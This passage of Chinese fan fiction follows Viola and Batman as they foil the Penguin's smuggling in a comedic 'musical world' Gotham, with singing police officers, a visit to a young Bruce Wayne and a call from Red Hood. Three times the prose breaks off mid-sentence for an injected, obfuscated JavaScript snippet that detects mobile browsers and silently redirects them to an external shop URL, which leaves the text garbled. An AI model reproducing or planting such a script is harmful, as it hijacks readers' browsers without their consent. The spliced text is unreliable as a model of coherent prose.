完成神圣而光荣的“拨打报警电话任务”后,维奥拉的注意力终于回到港口上。她四处寻找蝙蝠侠的身影,终于,在某个灯光无法照到的角落,她看到蝙蝠侠披风的一角。 码头上的货物大部分搬进了货车,等候指令。那个胡子男人已经站在高个儿瘦子身后,准备动手。维奥拉蹑手蹑脚躲到更近一些的障碍物后,扒着边缘查看舞台情况。 舞台灯光全都聚焦在即将行凶的人身上,把他的胡子照得几乎发光。 蝙蝠侠呢?是要坐山观虎还是先发制人? 维奥拉到处寻找刚才看到的那片披风衣角。 一阵弦乐,舞台变得肃穆,熟悉的旋律再次响起:噔噔噔噔噔!蝙蝠侠主题曲! 主角登场! 维奥拉:“?” 当当当!一束象征正义的白色强光突然照亮,投在角落蝙蝠侠的身上,其他人都停下动作,像进入静止界面。蝙蝠侠双腿开立站在光下,披风无风自动,下巴高昂,说出那句经典的: [我是——蝙蝠侠!] ……? 随着这一声宣告,蝙蝠侠把披风拽起来,掩住口鼻,深沉道: [站在这里的是蝙蝠侠] [哥谭的罪恶等我惩罚] [那前面是企鹅人手下] [他现在试图自相残杀] 随着音乐,他跨步到胡子男身后,而胡子男以及场上所有人都犹如定格漫画,一动不动。侧光打在他脸上,使他轮廓突出,映得蝙蝠头盔更像夜间生物。他从胡子男背后探出蝙蝠脑袋,继续挥舞披风,唱: [他举起小刀对准肩胛] [眼神凶恶把罪行犯下] 蝙蝠侠从胡子男身后走出,和他并排,脸转向那人,正义凛然: [不!蝙蝠侠会阻止他!] 哇哦。维奥拉觉得眼前的蝙蝠侠仿佛从现实向真人3D版转为子供向动画2D版,正酷酷地凹造型。 随着这一句歌词唱毕,舞台所有人活了过来,胡子男惊觉蝙蝠侠已经到他面前,一时间竟怔愣两秒。 趁着这个间隙,蝙蝠侠挥拳击落他的武器,他反击,两人招数清晰地对打起来,整个码头非常应景地响起卡通的“唔哇”“砰”特效声。 维奥拉:“?” 喂,怎么又有特殊音效。 胡子男显然不是蝙蝠侠的对手,过手两三招后就被双手反剪按在地上,动弹不得。他抬起头看被吓傻的左右同伙,怒道:“动手啊,蠢货们!” 短笛、大号、上滑音,舞台上响起滑稽音乐,象征着这不过是一场诙谐喜剧。 一高一矮两人如梦初醒,着急忙慌地找自己的武器,灯光也贴心地给到这两人身上,维奥拉作为唯一的观众,呆呆地看着“舞台”的表演。 两分钟后,维奥拉居然诡异地理解为什么胡子男想解决掉他这两位同事了。因为他们俩根本就是来凑热闹的,什么都不会! 蝙蝠侠抬起头准备分出精力对付剩下两人,结果他们一人举着高尔夫球杆,一人拿着扳手,战战兢兢靠近他,虚张声势道:“蝙——蝠侠,我警告你,别惹怒了我们!” 嗯,还因为音调太高而破音了。 蝙蝠侠:“……” 一声鼓点,灯光黑了一秒。 再亮起来时,矮个子已经躺在地上。 第二声鼓点,灯光像闪电般晃了几下,重物坠地声。灯光再起亮起,另一个也仰倒在地。 Bravo!Bravo!维奥拉忍不住鼓起掌来。没有节奏感的义警不是好音乐剧演员! 蝙蝠侠拍拍手套上的灰,居高临下站在被纤维绳索捆得扎扎实实的三人面前:“GCPD已经在路上,我想你们大概有话要对警员们说?” 他瞥了眼正欲破口大骂的胡子男,耸肩:“对了,一个小小的提示——你们之中有一个叛徒。” 三人均一怔,六只眼睛互相怀疑地看着对方。三束颜色不一的光打下来,一场猜疑即将爆发。 而蝙蝠侠只是摇头,退出港口的舞台。他射出钩爪,飞身到码头出口,拦下几辆等待搬运的货车。 维奥拉在一旁观战,看得跃跃欲试。她也好想身临其境感受一下“舞台”,好想成为“演员”表演一段义警的戏份,体验灯光照在自己身上的感觉。 可是表演音乐剧意味着——唱歌。 想到这里,维奥拉·绝对音痴·五音不全者·跑调之神·缪特,垂头丧气地低下脑袋。 通讯器嗡嗡响起。 “蝙蝠侠呼叫睡衣侠,蝙蝠侠呼叫睡衣侠。”蝙蝠侠的声音很是冷静,“睡衣侠,任务即将结束,我会和你汇合。” “……收到。” 睡衣侠睡衣侠睡衣侠…… 维奥拉满脑子都是蝙蝠侠一本正经呼唤自己离谱代号的声音,忍不住头疼。 如果再给她一次机会,她绝对不要取这个代号了!她要一个和蝙蝠侠一样超炫的、超酷的、超级闪亮的名字! 比如什么呢? 维奥拉蹲在集装箱后冥思苦想。 警笛声在遥远的公路上响起,维奥拉从取名难题中回过神,向声音来源处眺望。很好,她看到GCPD的模糊影子了,大概再过几分钟就能到达。 维奥拉找到通讯器上“Batman”的条目,点击确认,按下对话键,准备汇报情况,却在开口一瞬间顿住,一番抉择后还是艰难开口: “……睡衣侠呼叫蝙蝠侠,睡衣侠呼叫蝙蝠侠。GCPD已在公路,预计十分钟内抵达港口。” 通讯器那头立刻传来蝙蝠侠的回复:“做得好,睡衣侠。嫌疑人已经被制服,告诉GCPD在A口押送即可。” 维奥拉答应,小声叹气。睡衣侠听上去真的很怪异! 蝙蝠侠那边传来一声难以置信的惊呼,然后,维奥拉·睡衣侠·缪特清晰地听到,一个陌生男声抱怨道:“上帝啊,睡衣侠是什么见鬼的代号?你们以为这是幼儿园毕业聚会吗……嗷!蝙蝠!我的手!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872573|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一阵滋啦啦电流声,蝙蝠侠的声音再次上线,沉静道:“出了一点小状况,搭档,现在没事了。” 维奥拉:“……” 她的代号被小喽啰嘲笑了!她听见了!可恶! 不过,她的临时搭档及时维护了她的尊严。多么正义,多么可靠,不愧是蝙蝠侠,她的好搭档。 红蓝色的警灯闪起,GCPD快到港口了。维奥拉站起来,准备迎接警员们。 柔和均匀的天幕灯突然从上而下投下来,把码头入口照得像白昼。维奥拉停下脚步,顿觉不妙。这意味着,入口现在成为了一个“舞台”,对吧?而谁将会来到这个入口呢? 维奥拉的目光转向了正飞速驶来的GCPD。 嘶,不对劲啊。 出警也要唱歌吗。 已经来不及思考,GCPD一个急刹车抵达港口。 警车像喷气的蒸炉一样随着伴奏摇晃,维奥拉目瞪口呆地看着这果冻质感很有弹性的车身,然后又目睹四名警员像在演《爱乐之城》群像戏一样,在同一时间打开车门探出脑袋唱歌: [欢迎拨打GCPD,GCPD!] 怎么还是刚才那一首? 四人像训练有素的舞者,一同踏出警车,一同关上车门,然后—— 一人跳上车顶,一人在原地跳地板舞Breaking,一人坐上车前盖,还有一人在车后视镜旁摆出酷炫姿势定格,四人齐唱: [我们是GCPD!] [不惧危险,即刻出击!] [黑夜降临,提高警惕!] [亮灯蝙蝠,随时联系!] 四人唱完,全都跳到车前站成一排,互相环着身旁人的手臂踢踢踏踏,最终合唱: [欢迎拨打GCPD,GCPD!] 维奥拉:…… 热心观众维奥拉震惊一秒后平淡接受了眼前的一切,甚至走到他们面前,为他们鼓掌。 原来GCPD接到报警电话后真的会又唱又跳、载歌载舞地赶来啊,没事的,音乐剧世界就是这样包容。 真的。 为首的警员乐呵呵地对唯一观众维奥拉抬帽致敬,问道:“好心的市民,能告诉GCPD,蝙蝠侠抓捕的罪犯在哪里吗?” 维奥拉觉得脑子还在嗡鸣,因为GCPD刚才的出场曲实在是震耳欲聋,她举起手虚弱回答:“A口。” 对方向她点头致意,目光移到她手里的通讯器上,恍然大悟:“噢,你是那位替蝙蝠侠拨电话的助手!” 嗯?好吧,也算助手吧。 “我是他的临时搭档。”维奥拉说。 四人的神情瞬间变得严肃。他们一个个上来和她握手,正经得仿佛维奥拉身上立了个“我是个超厉害的蒙面义警快点恭维我”的警告牌。维奥拉有些不适应突如其来的庄重,不好意思地回握。 四人中最年长的那一个看上去是队伍里的头儿,他严谨地发问:“女士,请问您的代号是什么?” 维奥拉陷入沉默。 一定要回答吗!!! “睡……睡衣侠。”维奥拉难以启齿,觉得这个答案足够让她丢失在哥谭后半生的尊严。 “噢”“天呐”“哇哦”“Emm”……四人互相看看对方,摸着下巴细细品味这个称呼,时不时啧啧称奇,仿佛这代号拥有什么玄妙的奥秘。 维奥拉如坐针毡,干巴巴地说:“如果没什么事的话……” 她就准备溜去找蝙蝠侠了。 “噢,睡衣侠,抱歉!这真是个巧妙的代号!”四人里唯一的女警员活泼地开口,“多有新意啊,睡衣侠!” 维奥拉:“……谢谢?” 哥谭人你们到底怎么了? 11. 谢幕,下班! Summary:祝贺!《危机!邪恶企鹅人武器走私案》已完满落幕!让我们欢迎主演——蝙蝠侠、睡衣侠,以及友情加盟的GCPD、企鹅人及其手下! —— 维奥拉带着GCPD对“睡衣侠”代号的连声称赞,恍惚地朝蝙蝠侠走去。 身后,警员们热情地和她告别,并且一再保证,“睡衣侠”绝对是目前为止他们听过的除了蝙蝠侠外最酷炫的称号。维奥拉被盛赞冲昏了头,半推半就地在他们的警帽上签了“睡衣侠”名字。 身为忠实的音乐剧观众,维奥拉偶尔会在演出结束后随人群来到后台入口,等待心仪的音乐剧演员出场,在她的票根上签名,和她合影闲聊。 谁能想到有朝一日,她也能被团团围住,索要“超级闪亮的睡衣侠亲笔签”? 新晋义警(临时版)维奥拉表示,音乐剧世界还是太体贴了,甚至给她安排了演员专属互动环节。 和所有音乐剧演员一样,维奥拉用的是软头的金色墨水签名笔,带点细细的闪光粉,在警帽边缘像顶小皇冠。她手忙脚乱完成了人生中第一次签售活动,在不远处蝙蝠侠的注视下站到他身边,还有些晕晕乎乎。 哇,在他们眼里,她好像也成为了一名了不起的义警。 “可——恶——” 黑夜中划过一声恼怒的吼叫,数十盏GOBO灯以最强劲的光射向哥谭港口上空,一张巨幅侧脸猛地投影在众人面前。维奥拉抬起头,夜空中闪耀的企鹅人侧影猝不及防撞入眼帘。 维奥拉:“!!!” “是企鹅人!” “老板!” “噢,他发怒了!” 港口众人纷纷喊道。 如果有人问为什么所有人都能认出这是企鹅人? 喂,拜托,瞧瞧他的鼻子,还有那顶礼帽和旁边的雨伞! 他就差在夜空中用无人机写下“我是哥谭超级反派AKA企鹅人”了! 这幅侧脸正嘴巴一张一合地吼出歌词: [可恶的蝙蝠侠!他是我的宿敌!] [这一次交易,竟又被他偷袭!] [还有他的搭档,怎万般神秘?] [什么“睡衣侠”?名字如此怪异!] [依我看,大概也是个蠢东西!] 维奥拉:? 谁又惹他了? 而且她又惹谁了??? 下一秒是不是要cos魅影唱“damnyou,curseyou(你该死,诅咒你)”来骂人了? [蝙蝠!蝙蝠!我居然输了这游戏!] [记住!记住!待下次我一定还击!] [啊啊啊啊啊——] 企鹅人甚至唱出了怒音!最后一句歌词后,他发出尖叫,聚光灯依次熄灭,他的投影慢慢消失在夜色中。四周安静了一瞬,下一秒,终场音乐响起,市民们欢呼雀跃,吹起口哨,然后是一阵激烈的掌声和五颜六色的镭射光。 Bravo!音乐剧《危机!邪恶企鹅人武器走私案》即将落幕! 维奥拉站在蝙蝠侠身边,还没反应过来。 意思是这次夜巡就要结束了吗? 蝙蝠侠刚清点完企鹅人试图运走的货物,站起来拍拍披风上的灰,看了眼时间,满意道:“本次共计用时两小时三十五分钟。恭喜,我们的任务完成了,搭档。” 刚好是一部音乐剧演出的时间。 他伸出手。 维奥拉回过神,连忙把通讯器塞进他手里。 蝙蝠侠:“……我的意思是握手。” “啊!不好意思,”维奥拉如梦初醒,匆匆递上自己的手,和蝙蝠侠握了握,“我还不熟悉夜巡流程。” 她看到蝙蝠侠嘴边扬起三个像素点的笑,然后听见他说:“但你已经是位很厉害的搭档了,睡衣侠。” “……还是叫我维奥拉吧。” “为什么?” “因为这个代号不够酷炫。”维奥拉仍然对刚才企鹅人的歌词耿耿于怀。 蝙蝠侠侧了侧头:“谁说的?这很酷,维奥拉。而且只要你想,任何代号都可以很酷。就像当我开始成为蝙蝠侠时,没有人会觉得‘蝙蝠男人’(batman)这代号听起来很酷;相反,他们只觉得听上去像个变异的外星生物。” 噗。维奥拉没忍住笑了出来。 他宽慰地拍拍她的肩:“所以你也可以让睡衣侠的代号变得酷炫——当然,如果你仍然不喜欢它,换一个就是了,我会尊重你所有的代号,搭档。” 维奥拉的心变得像刚出炉的棉花糖,随着蝙蝠侠的话轻轻飞起来。即使经过变声器,蝙蝠侠的嗓音依旧从容和缓,充满安抚意味。维奥拉的眉头松开,本就只有一点点的郁闷也烟消云散。 维奥拉忍不住想,没有人会认为蝙蝠侠不善言辞。只要他愿意,他的每一句话都可以让对方心满意足。 维奥拉现在的心情好得出奇:“谢谢你,蝙蝠侠。也许下次见到我,我还会让你称呼我为睡衣侠呢。” 蝙蝠侠回答:“荣幸之至。” 任务结束,“蝙蝠侠和睡衣侠”临时组合当然也要解散了。 维奥拉和蝙蝠侠再次荡着抓钩回到伯恩利区,来到熟悉的窗口,从那扇碎掉的玻璃窗里跳了进去。进屋后,维奥拉小心翼翼地踢开地上的玻璃渣,抬起头和窗边安静坐着的临时搭档告别。 蝙蝠侠的披风完全盖在他身上,逆着微弱的舞台灯光,他此刻看上去像一只黑乎乎的大型猫科动物。他朝她颔首致意,说:“那么,我们的团队合作就结束了。晚安,维奥拉。” 维奥拉竟然觉得鼻子酸酸的。这似乎和她看过的每一部音乐剧都一样,结束之后,演员谢幕,喧哗和嘈杂最终归于宁静,她也不得不和舞台上的角色说再见。 维奥拉黯然神伤,颇有点触景生情,觉得自己像《悲惨世界》中独自一人走在街上的艾潘妮,下一秒就要捂着心口唱OnMyOwn了。 突然,一点细微的响动,维奥拉抬起头,看见蝙蝠侠跳下窗户站在那堆碎玻璃上,然后—— 摇滚乐起!迪斯科球再次凭空出现,从天花板滑下来,在客厅投下目眩的炫彩光芒,一把吉他从窗外飞进来,蝙蝠侠敏捷接住,对着她一阵扫弦,然后一边弹吉他一边踩着点唱道: [今夜是多么紧张刺激] [我有了一个搭档她聪明无敌!] [我们联手击败企鹅人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878149|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诡计!] [在哥谭留下丰!功!伟!绩!] 太多音符,太多音符。 好重的节奏!好强劲的鼓点! 维奥拉,音乐剧怎么能一直沉浸在悲伤的情绪中呢! 音乐剧最常见的难道不是上一秒哭到唱歌走调而下一秒又抛出轻松情节吗! 由于他突然唱歌的起手速度过快,维奥拉没有任何心理建设,原地罚站般观看他表演。 [嘿,已落幕,今夜的音乐剧!] [请别伤感,我们也许会再聚!] [因此——] [再见,维奥拉,蝙蝠侠向您致意!] 唱完,没等维奥拉作出反应,他从窗户上一跃而下。 维奥拉:“?” 黑暗骑士能不能允许她稍微伤感那么一小会会儿,现在她这样嘴角又上又下的样子真的很狼狈。 维奥拉跑到窗边,搜寻蝙蝠侠的踪迹,却看到他双手抓着披风两侧,像一只黑色大鸟在空中盘旋,然后轻盈落在某个露台栏杆上,紧接着射出抓钩枪,无影无踪地消失在夜色中。 维奥拉收回目光,手指触碰到窗沿留下的碎玻璃渣,突然笑起来。 演出结束,蝙蝠侠谢幕,那么她也该—— 下班!睡觉! 她知道明天该做点什么了。 —— 维奥拉直到中午才勉强醒来。熬夜实在太耗费心神,更何况她几小时前算是半参演了一部哥谭版音乐剧。按下闹钟,维奥拉在床上翻滚了好几圈,想到今天还有要事,才挣扎着起身。 现在是正午,室外萦绕着简单轻快的钢琴乐,维奥拉拉开窗帘,发现今天的哥谭竟然阳光明媚。 因为是音乐剧世界吗? 一切看起来都很轻松很惬意,维奥拉哼着ThinkOfMe给自己烤了片吐司,站在因为没玻璃所以格外透气通风的窗边,眺望远方。 说到玻璃……蝙蝠侠找的维修呢? 门铃在维奥拉思索的时候响起,维奥拉开门,就这样卡着点迎来自己的新玻璃。十分钟后,一切安排妥当,维奥拉手里握着蝙蝠侠承诺的补偿支票,和那位唱着歌跳着舞为她安装好玻璃的男士告别。 这位工人甚至为她即兴表演了一段维护玻璃的芭蕾戏。 维奥拉震惊,维奥拉接受,维奥拉最终鼓掌大喊“Bravo”。 很好,唯一的问题已经解决,那么接下来就是她的时间了。维奥拉瞥到新玻璃右下角极小的韦恩logo,忍不住思考哥谭到底有韦恩的多少产业。 布鲁斯·韦恩,她的表表表祖父。 没错,接下来她要做的事就是——再次拜访他。 说“再次”也许并不准确,毕竟第一次拜访是在现实世界,面对的是十年后的韦恩;而这次,维奥拉要去拜访的是昨晚的搭档、年轻的布鲁斯·韦恩、她那不满三十岁的“爷爷”。 维奥拉拿出第一晚抵达哥谭时蝙蝠侠送给她的旅游指南,找到了韦恩庄园。那是一片堪称孤岛的土地,仅仅标示着TheWayne两个单词。 她收起这份小册子,换好衣服,走出公寓。 维奥拉(点头):爷爷,我又来了。 12. 快给大忙人让路 Summary:让我们恭喜她,维奥拉·二十四小时不停摆·缪特,在音乐剧世界忙忙碌碌一天后,又来到二十四小时不停摆的忙碌现实世界! —— 音乐剧世界的出租车也很奇妙。 当维奥拉站在路口,自言自语道“也许我需要去韦恩庄园”,一辆急速驶来的出租车便已经停在她面前。 司机戴了顶黄色鸭舌帽,鼻子红红的,穿衬衣和背带短裤,从驾驶位车窗探出头,朝她挥帽,唱道: [我准备好了!我准备好了!] 维奥拉:……哇哦。 哥谭这地方实在人杰地灵,某知名比奇堡黄色海绵都能变成人类(?)唱音乐剧。 于是不到一小时,维奥拉已经坐在布鲁斯·韦恩家的扶手椅上。 韦恩庄园看上去颇为冷清,也许是因为布鲁斯才回归哥谭不久。管家阿尔弗雷德看起来比现实世界年轻些,连头发都比十年后茂密。 维奥拉再次如同律师举证般拿出音乐天使给她的信,交给阿尔弗雷德。她深吸一口气,准备发表第二次“寻找我亲爱的表爷爷”讲话。 经过上一次的训练,维奥拉现在已经能面不改色地讲述自己的寻亲小故事,更何况这里是音乐剧世界! 在音乐剧世界,任何缺乏常理的事都很有常理! 什么孤儿身份啦、什么背井离乡啦、什么哥谭大学啦、什么唯一的亲人啦、什么超级加辈的祖父啦…… 没问题的! 她声情并茂,阿尔弗雷德感动拭泪,布鲁斯闻讯而至,然后—— 年轻的布鲁斯·韦恩,AKA蝙蝠侠,AKA维奥拉数小时前的临时搭档,AKA她此刻的表表表祖父,在看过信件、查阅家族树后,花了不到一秒就接受了自己已晋升为爷爷的事实,站在她面前,伸出双臂一把将她搂进怀里,用抒情调深情唱: [维奥拉,我的晚辈] [多幸运,你我相会] [别忧虑,收获安慰] [皆因为,我——是——长——辈——!] 被布鲁斯的手臂勒住的维奥拉:“……” 好热情的……爷爷啊。 维奥拉热情的表表表祖父布鲁斯·韦恩,在给了她一个温暖的拥抱后,很快松开她。维奥拉踉跄了一步站稳,这才有时间看看这个世界里卸下面具的布鲁斯究竟长什么样。 她抬头,视线聚焦在布鲁斯蓬松的短发上,然后是一张相当年轻的脸。那双眼睛现在微微弯起,似乎很愉快。 维奥拉一时之间摸不透布鲁斯此刻究竟在想什么。这是蝙蝠侠的新手期,也许他正在费尽心思对外营造一个花花公子布鲁西的形象,但也许在音乐剧世界他真的如此赤忱热心? 维奥拉读不懂那双眼睛此刻蕴藏着怎样的心思,至少现在,他表现出的友善昭示着他对维奥拉这位远道而来的表亲很欢迎。 维奥拉稀里糊涂地和他握手,被阿尔弗雷德引到更私密的书房坐下。布鲁斯声称自己有些要事先去处理,很快消失在门口。 维奥拉规规矩矩地坐下等待,五分钟后,门外透过厚实地毯传来闷闷的音乐声,维奥拉朝出声的方向看去,发现最下面的门缝泻出强光。 谁在门外表演节目? 她打开门,发现她本应该离开的新晋表爷爷布鲁斯,此刻正倚在走廊边抬头望窗。地排灯在他脚边依次点亮,他伸出右手的食指和中指,抵在额角,似乎在严肃思考,脚也打着节拍,语速飞快地小声独白: [怎么会,维奥拉,竟是我后辈?] [她莫非,已知晓,这夜间是非?] [快想想,布鲁斯,你如何应对!] 唱完,他有些焦躁地原地打转,灯光前后左右地胡乱跟随他,整个走廊闪亮得惊人。 被灯光闪得睁不开眼的维奥拉:“……” 好具像化的思考方式啊,不愧是音乐剧(鼓掌)。 为了安抚心生疑虑的布鲁斯,也为了自己的身心健康,十分钟后,待布鲁斯思虑周全折回书房时,维奥拉起身,礼貌委婉地表示她该离开了。 贴心的管家阿尔弗雷德替年轻的布鲁斯老爷打点好一切,并邀请维奥拉搬来庄园同住。维奥拉以同样的理由推辞,然后再次荣获一张blingbling“我是超有钱的韦恩”的信用卡。 维奥拉:“……?” 不得了啦,她现在像个来骗信用卡的贩子。 抱着这样的想法,维奥拉悲痛万分(并非)地接受了韦恩家的“一点亲人之间的心意”——这是布鲁斯·韦恩拍着她的肩信誓旦旦说出的。 维奥拉肃然起敬。 嘿,一口一个“韦恩家”多么生疏!这可是她爷爷家! 维奥拉收起那张卡,在布鲁斯的殷切注视下与阿尔弗雷德一同离开书房。 今天的拜访和现实世界的拜访本质差不多,一半是为了满足她的好奇心,一半是为了收获韦恩家远亲的合理身份。 刚才布鲁斯的急切自白曲让维奥拉哭笑不得。音乐剧世界的布鲁斯毕竟还不是十年后已拥有好多个孩子并且经历过无数个青春期叛逆期的云淡风轻成熟中年蝙,现在的他看上去似乎还没有足够应对突然冒出的孩子的经验,面对维奥拉的拜访显得手忙脚乱。 维奥拉简直不忍心听他再唱一段独白了。 音乐天使在上,别折磨她那年轻的表表表爷爷了,她看不下去。 回到公寓时已经是夜晚,维奥拉给自己热了杯牛奶,听见窗外不时有刺啦啦的音响电流音。 过了几分钟,又有礼花声、警笛声和叫好声。似乎在很多个她看不见的角落,还在上演别的音乐剧。 但维奥拉并没有打开窗户。 某种意义上,她已经参演了一部音乐剧,不是吗? 这就足够了。 泡了个热气腾腾的澡后,维奥拉放松下来。最后一遍检查好门窗,她裹着薄毯倒进柔软的床里。 窗外,钟楼整点报时,维奥拉看了眼时间,夜晚十点整。 再过两小时,现实世界即将来临。 她模模糊糊地想着她应该在现实世界做点什么,可床太软了,外面的音乐被房间隔绝为沙沙作响的白噪音,室内又太暖和,维奥拉睡意来袭,带着半截思考,陷入了梦境。 白色的地板。 白色的房间。 白色的——音乐天使。 维奥拉:? 怎么又到这里了? 音乐天使笑眯眯地给她展示自己的新白色西装,向她问好:“晚上好呀,维奥拉!” 维奥拉有些戒备:“你为什么又到我的梦里了?” 音乐天使歪歪头:“因为‘Insleephesangtome,indreamshecame’(在梦中他对我歌唱,在梦中他走近)?” 维奥拉:??? 不准再玩梗了! 音乐天使见她并没有被它绝妙的引用触动,颇为遗憾地摇头:“看来你的音乐剧灵魂仍然不够通透。” ? 维奥拉没理会他的调侃,问:“你找我有什么事?” 音乐天使这才活跃起来,抬起白手套为她鼓掌,称赞道:“恭喜你,缪特小姐,你完成了人生中第一次音乐剧表演!” 它本来是灵魂状态,像泡泡一样套在西装和手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885769|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套里,现在一鼓掌,两只手套几乎在互相撞击对方,制造出噼里啪啦的动静,和放烟花没什么区别。 原来把她拉进天堂是为了庆贺第一次演出结束么? 维奥拉觉得受之有愧,摇头:“其实也没有啦……我好像也没有做什么。” 音乐天使停下拍掌,正色道:“嘿,维奥拉,别这么说。你主动加入蝙蝠侠的夜巡,你和他合作,还让哥谭从今夜起知道了睡衣侠的都市传说,这一切都是你自己做的选择。” “要知道,作为音乐天使,我只能为过去发生的事谱曲,并不能决定谁的走向,而你,讲述了你自己的故事。” 谁生,谁死,谁讲述你的故事? 维奥拉怔了怔。 “好啦,抒情部分结束!”音乐天使啪叽坐进路过的云朵里,在她眼前打了个响指,“噢,可千万别感动,维奥拉,其实客观上来说,是我——作为音乐天使兼你的哥谭人生代理人,在讲述你的故事啦。抱歉,但这就是我的天赋!” 说完还得意地wink了一下——用它那只没被魅影面具遮住的眼睛。 维奥拉:“……” 算了,她就不该想得太多。 音乐天使坐在云上悠闲自在:“接下来你要回到现实世界了,有什么想提前了解的吗?” 维奥拉想了想:“有。音乐剧世界发生的事会影响现实世界吗?比如那扇玻璃。” 或者GCPD警帽上她的签名。 尽管在此之前音乐天使已经声明,音乐剧世界发生的一切都会是现实世界人们的模糊梦境,但维奥拉仍然想知道一个确切的答案。 “会,也不会。”音乐天使摇头晃脑,“音乐剧世界有自己的运行逻辑,但它也会自然地连接上现实。我不得不再次骄傲地重申:你所处的音乐剧世界是经由本音乐天使之手打造的、被音乐渲染的过去,所以,尽管没人记得自己参演过哥谭的音乐剧,但那些已经发生的事,会持续影响他们。” 是这样吗? 维奥拉还在音乐天使消化绕来绕去的句子,但也对此接受良好。至少她可以拥有两个世界的两种人生,这已经很值得了。 “看来你没有别的问题了?如果是这样,那就再会?”音乐天使说。 维奥拉点点头。 “很好!晚安,维奥拉!”音乐天使话音刚落,天堂便消失不见,维奥拉被毫不留情地扔回现实,猛地惊醒。 睡到一半的维奥拉坐起来:? 告别就告别,直接把她从梦里扔出来吓醒算什么? 好在对维奥拉来说,黑暗代表着夜晚,而夜晚代表着睡眠。 维奥拉又躺了回去,抽出点精力复盘:在现实世界,她在东区偶遇了夜翼和蝙蝠侠,被红头罩误伤,刚和布鲁斯相认,搬到红头罩赠送的安全屋,开始第一天的哥谭生活;而在音乐剧世界,她的窗户被蝙蝠侠打碎,她和蝙蝠侠组成搭档一起夜巡,他们一起阻止了企鹅人的走私,她给GCPD签了名,她还去韦恩庄园认识了年轻的布鲁斯…… 原来她在两个二十四小时内经历了这么多吗?那更得多休息了。维奥拉想着,心安理得地睡了过去。 —— 维奥拉是被门铃声吵醒的。 她打了个呵欠,游魂般移到玄关处,透过猫眼向外看,试图弄清是谁这么大一早就来惊扰她的美梦。 迎接她的是一个红彤彤的反光头盔。 维奥拉:“?” 快给大忙人让路,维奥拉的日常任务又来了。 比如现在,该任务名为——接受房东红头罩老大的视察。 好吧,好吧。维奥拉揉揉眼睛,打开了门。 13. 面具之下是……! Ris…… Summary:谁家哥谭人取了面具还有面具啊!红头罩你告诉我!你到底戴了多少层面具! —— 维奥拉疑惑地打开门,和抱着一盆不知名绿色植物的红头罩四目相对。 准确地来说,应该也不算四目相对。因为神秘的红头罩老大只是在全覆盖式头盔上留了很细微的空间,导致维奥拉大部分的目光在和枣红色的反光头盔相对。 维奥拉:“……早上好?” 红头罩把盆栽塞进她怀里:“放窗边。” “这是什么?”维奥拉有些糊涂。 红头罩靠在门框边,轻描淡写:“虎尾兰,哥谭常见室内绿植。放心,养不死。给它点水,偶尔晒点太阳,能活得比哥谭市长的任期还长。” 维奥拉:“……好的,谢谢。” 好哥谭的比喻。 见她收下绿植,红头罩点点头就往楼梯方向走,没有任何一个多余的动作或眼神。 唔,非常神出鬼没的东区老大,套了个红色头盔,送来一盆绿绿的草,什么寒暄也没有,就这样酷酷地告别。 维奥拉在音乐剧世界待了一整天,脑子还没转换过来,以为红头罩会在门口放声高歌一首独白曲。 他当然没有。他只是平平淡淡地转身离开。 维奥拉望着他的后脑勺(不,头盔),犹豫地建议:“或许你想进来坐一会儿?” 要不要和把她砸晕但赠送公寓又赠送绿植的房东友善交流一下?毕竟这里是他的房产,于情于理似乎都应该邀请他来参观参观。 但她刚才问出口的这句话好呆,和那种儿童绘本上会出现的“如何与人正常沟通”的例句没什么区别。 维奥拉后知后觉地闭上嘴。 她的前方,那枚红色头盔顿了一下,朝左偏了偏脑袋。红头罩似乎在思考是否应该答应,而维奥拉还抱着那盆叶子像出鞘的长剑的虎尾兰,站在门口等待他的答复。 “如果你方便的话。”红头罩最终说。 “当然,请进。”维奥拉赶紧让出身位,欢迎大名鼎鼎的红头罩老大莅临他的前·安全屋。 关上门,维奥拉将那盆虎尾兰放到窗边,嘴里礼貌道:“对了,谢谢你的公寓……”转身,却看见红头罩正在摘他的头盔。 维奥拉:“!!!” 见鬼啊,他是想突然给她坦白自己其实是死而复生的韦恩家养子AKA杰森·陶德,还是想摘了头盔就把她灭口然后回收公寓??? “你你你你别摘!我不想知道你是谁!”维奥拉一个箭步冲上前稳住对方的手,急道,“而且我们之间也没有熟悉到可以交换隐藏身份的地步!” 红头罩:“……?” 红头罩在她的惊恐注视下,就着她的手慢慢摘下全包裹头盔。 ——然后露出头盔下的半覆盖面具,和上次见面时他戴的那副一样。 维奥拉:“?” 这人到底怎么想的?怎么会有人在面具之下还戴面具??? 他摘面具怎么像剥卷心菜一样!他不会在这面具之下还戴了个口罩吧? 